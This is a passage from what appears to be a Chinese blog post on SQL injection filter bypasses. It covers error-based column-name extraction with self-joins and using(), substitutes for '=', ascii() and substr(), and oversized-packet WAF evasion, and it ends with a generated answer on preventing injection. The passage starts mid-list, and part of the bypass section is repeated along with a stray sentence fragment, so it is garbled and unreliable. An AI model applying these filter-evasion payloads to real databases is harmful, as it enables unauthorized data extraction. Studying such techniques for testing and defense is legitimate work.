2.等值连接中的列必须具有相同的名称和数据类型。

例如第一次报错是id,所以有一列就名叫id,然后改写语句为:

select * from (select * from users as a join users as b using(id) )c就报错爆出下一列名,以此类推,直到不再报错就能推出该数据库中的所有列名。

6.=替换
用like代替
7.过滤ascii替换
hex()				将一个字符串或数字转换为十六进制格式的字符串。
bin()				返回字符的二进制表示
ord()				与函数ascii()相同,返回字符串第一个字符的ASCII值。
8.substr().mid()替换
left()
right()
mid()
substr()
substring()
lpad(1,2,3)				此函数作用是用另一个字符串向左填充一个字符串,达到一定的长度,参数1为被填充的字符串,2为长度,3为要填充进去的字符串
rpad(1,2,3)				此函数作用是用另一个字符串向右填充一个字符串,达到一定的长度,参数1为被填充的字符串,2为长度,3为要填充进去的字符串

超大数据包绕过

局限性:只适用于post方式
的第2行直到第n行与表b的第2行进行关联,以此类推,直到与表b的第n行关联。结果也是产生了一个新的表。

[外链图片转存中…(img-S5UYDrnG-1679659633156)]

关于注入当中该怎么做:

select * from (select * from users as a join users as b)c:可理解为,括号里的查询生成的新表取了个名字是c从中进行查询,但是因为其中列名有重复,所以会发生报错。同时爆出重复的的列名。知道以后,再利用using()进行连接查询,

using():1.查询必须是等值连接。
2.等值连接中的列必须具有相同的名称和数据类型。

例如第一次报错是id,所以有一列就名叫id,然后改写语句为:

select * from (select * from users as a join users as b using(id) )c就报错爆出下一列名,以此类推,直到不再报错就能推出该数据库中的所有列名。

6.=替换
用like代替
7.过滤ascii替换
hex()				将一个字符串或数字转换为十六进制格式的字符串。
bin()				返回字符的二进制表示
ord()				与函数ascii()相同,返回字符串第一个字符的ASCII值。
8.substr().mid()替换
left()
right()
mid()
substr()
substring()
lpad(1,2,3)				此函数作用是用另一个字符串向左填充一个字符串,达到一定的长度,参数1为被填充的字符串,2为长度,3为要填充进去的字符串
rpad(1,2,3)				此函数作用是用另一个字符串向右填充一个字符串,达到一定的长度,参数1为被填充的字符串,2为长度,3为要填充进去的字符串

超大数据包绕过

局限性:只适用于post方式,网上有很多脚本,但是你如果一定要手打的话,我也不拦你(坏笑)

本文章借鉴了很多大佬文章,如有不对,还请指正。

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
好的,以下是一个关于 SQL 注入的面试题: 问题:什么是 SQL 注入?如何防止 SQL 注入攻击? 回答: SQL 注入是一种常见的网络攻击,攻击者利用应用程序对用户输入数据的处理不当,将恶意 SQL 代码注入到应用程序中,以达到攻击的目的。攻击者可以通过 SQL 注入攻击获取敏感数据、修改数据库中的数据甚至控制整个服务器。 防止 SQL 注入攻击有以下几个方法: 1. 使用参数化查询:参数化查询可以防止 SQL 注入攻击,因为参数化查询使用变量来代替 SQL 查询语句中的值,这样攻击者无法通过注入恶意代码来修改查询语句。使用参数化查询可以在应用程序和数据库之间建立一个安全的隔离层。 2. 过滤用户输入:在应用程序中,对用户输入的数据进行过滤和校验,只允许特定的字符和格式。这样可以避免攻击者注入恶意代码。 3. 限制用户权限:在数据库中,限制用户的权限,只允许他们执行特定的操作。这样可以限制攻击者的影响范围,一旦攻击者成功注入恶意代码,也只能执行被授权的操作。 4. 更新软件和补丁:定期更新应用程序和数据库的软件和补丁,以及其他相关的软件和组件,可以减少 SQL 注入攻击的风险。 以上是一些防止 SQL 注入攻击的方法,但并不能保证绝对安全,因此还需要定期对系统进行安全审计和漏洞扫描。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值